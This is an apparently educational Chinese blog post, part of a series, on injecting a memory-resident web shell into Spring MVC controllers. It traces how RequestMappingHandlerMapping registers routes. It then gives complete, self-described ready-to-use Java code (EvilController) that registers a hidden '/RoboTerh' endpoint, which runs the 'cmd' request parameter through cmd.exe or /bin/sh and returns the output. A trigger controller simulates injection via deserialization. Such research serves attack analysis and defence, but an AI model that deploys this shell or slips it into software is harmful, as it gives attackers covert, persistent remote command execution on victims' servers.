今天开始远离Tomcat容器了,我们开始学习其他框架使用类似的思想来构造内存马。
这篇主要是学习在Spring的控制层进行内存马的构造,也是系列文章的第九篇。
Tomcat中有Servlet, Spring也有着Controller。
Controller 负责处理由DispatcherServlet 分发的请求,它把用户请求的数据经过业务处理层处理之后封装成一个Model ,然后再把该Model 返回给对应的View 进行展示。
在SpringMVC 中提供了一个非常简便的定义Controller 的方法,你无需继承特定的类或实现特定的接口,只需使用@Controller 标记一个类是Controller ,然后使用@RequestMapping 和@RequestParam 等一些注解用以定义URL 请求和Controller 方法之间的映射,这样的Controller 就能被外界访问到。
主要的注解:
@Controller
@RequestMapping
@ResponseBody
@RestController
@GetMapping
@PostMapping
创建一个Spring MVC的项目,我这里使用的依赖是
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.13</version>
</dependency>
进行分析的。
首先在创建了Web项目骨架之后,web.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:dispatcher-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
其中配置中的Servlet分发器配置文件dispatcher-servlet.xml
为
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<context:component-scan base-package="pres.test.spring.controller"/>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
</beans>
扫描pres.test.spring.controller
包下的bean
创建一个Controller类
package pres.test.spring.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
@RequestMapping("/index")
public class IndexController {
@GetMapping
public void Test(HttpServletRequest request, HttpServletResponse response) {
try {
response.getWriter().println("index controller...");
} catch (IOException e) {
e.printStackTrace();
}
}
}
上面通过@Controller
注解进行标注,通过@RequestMapping
进行路由映射,不再使用xml配置文件的方式进行路由映射,spring mvc将会自动配置。
启动我们的Tomcat容器
在Spring MVC初始化的过程中,对bean的处理从AbstractAutowireCapableBeanFactory#createBean
方法中开始进行处理。
在其中调用了doCreateBean
方法执行。
同时在前面实例化了一个bean
这个bean是RequestMappingHandlerMapping
对象,这个类主要是用来处理@Controller
注解相关的Bean,下面详细看。
进而调用了initializeBean
进行Bean的初始化操作,
最后能够在AbstractAutowireCapableBeanFactory#invokeInitMethods
方法中调用RequestMappingHandlerMapping#afterPropertiesSet
方法进行解析。
接着在其afterPropertiesSet
方法中调用了父类的afterPropertiesSet
方法,即是AbstractHandlerMethodMapping#afterPropertiesSet
方法。
在这里调用了initHandlerMethods
方法进行初始化。
这里首先通过getCandidateBeanNames方法得到了注册的所有Bean Name
之后遍历这些beanName,调用processCandidateBean
方法处理bean
首先通过传来的beanName
获取对应的beanType
,后面会判断是否为空和调用isHandler
方法进行判断,跟进一下。
很明显,这里主要是判断是否该类是否存在有@Controller / @RequestMapping
注解修饰,如果有其中一个或多个,将会返回true。
回到上面的,如果beanType
不为空且isHandler
返回了ture,将会调用detectHandlerMethods
方法进行处理,跟进,
这里主要是查找对应的methods并进行注册,接下来解读一下这个方法的代码。
首先是获取了对应的bean
的class对象,这里的getUserClass
方法,主要是判断是否存在有$$
标识,如果有,将会返回其父类,没有就返回该类。
好了,回到detectHandlerMethods
方法中,接下来,将会调用MethodIntrospector.selectMethods
方法获取到bean的方法和其路由的映射,但是在这之前会先调用getMappingForMethod
方法,进行封装。
这个方法中,返回的是一个RequestMappingInfo
类对象。
这个类就是对相关请求的相关信息的一个封装类,
回到getMappingForMethod
方法,将会调用createRequestMappingInfo
方法创建一个RequestMappingInfo
对象。
但是也是有着要求的,如果定义的bean方法存在有@RequestMapping
注解修饰,将会根据注解中的相关信息进行创建对象,如果没有将会返回null。
最后将会返回这个info对象,
在最后将会我们扫描得到的methods
进行遍历并注册。
调用registerHandlerMethod
方法进行注册,跟进,
来到了AbstractHandlerMethodMapping
类中,
该方法主要是注册对应的method句柄和其对应的mapping映射,
调用了AbstractHandlerMethodMapping#register
方法进行注册,
将一些关键信息进行包装、处理和储存,
就这样就完成了注册流程,
而之后在进行相关路由的请求的时候,
在HttpServlet#service
方法中调用了doGet
方法,
最后将会在AbstractHandlerMethodMapping#lookupHandlerMethod
方法匹配对应的handler
调用getHandlerMethod
方法获取
在 MappingRegistry.urlLookup 中获取直接匹配的 RequestMappingInfos;
如果没有,则遍历所有的 MappingRegistry.mappingLookup 中保存的 RequestMappingInfos;
获取最佳匹配的 RequestMappingInfo 对应的 HandlerMethod。
对于内存马的注入,主要就是能够添加一个路由映射并且能够进行相应的处理,
我们从上面的分析中我们知道在registerHandlerMethod
方法中主要是通过调用register
方法来进行注册的。
su18师傅是直接通过调用其register方法进行注册,
但是通过,搜索,我们可以在AbstractHandlerMethodMapping#registerMapping
方法中存在有相同的调用。
但是这是一个抽象类,我们可以寻找他的实现类。
存在有一个RequestMappingHandlerMapping#registerMapping
方法的调用,能够调用父类的对象的方法。
我们知道该方法第一个参数是一个RequestMappingInfo
类对象,
看看其构造方法,
创建PatternsRequestCondition
的路由和RequestMethodsRequestCondition
请求方法。
其第二个参数为一个handler,也就是恶意类,
第三个参数就是对应的bean方法,我们可以在这个方法中执行我们想要实现的任何逻辑。
所以总结一下流程
创建一个恶意类,其中存在有一个方法实现了执行逻辑;
定义访问的路由和允许HTTP方法;
从上下文中获取对应的RequestMappingHandlerMapping
对象;
调用其registerMapping
方法进行注册。
注释中有解释,就不一步一步解释了
package pres.test.spring.controller;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
public class EvilController {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = null;
try {
method2 = EvilController.class.getMethod("test");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
EvilController evilController = new EvilController("aaa");
mappingHandlerMapping.registerMapping(info, evilController, method2);
}
public EvilController(String aaa) {}
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
上面就是一个拿来即用的Controller内存马,我们可以创建一个Controller
来模拟通过反序列化等方式注入内存马。
package pres.test.spring.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Controller
@RequestMapping("/addSpringController")
public class AddSpringController {
@GetMapping
public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
try {
Class.forName("pres.test.spring.controller.EvilController");
httpServletResponse.getWriter().println("add successfully!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
当我们访问该控制器之后将会返回add successfully!
表示,成功注入。
之后测试是否成功注入。
能够执行命令。
千万别光看内存马的实现,没用(别问我怎么知道)还是要一步一步的调试,一步一步的感受Spring MVC的执行流程,体会什么地方能够形成内存马,为什么这里能够实现内存马,内存马到底是怎么实现的,多问几个为什么总是好的!
贴一下编写流程
创建一个恶意类,其中存在有一个方法实现了执行逻辑;
定义访问的路由和允许HTTP方法;
从上下文中获取对应的RequestMappingHandlerMapping
对象;
调用其registerMapping
方法进行注册。
https://su18.org/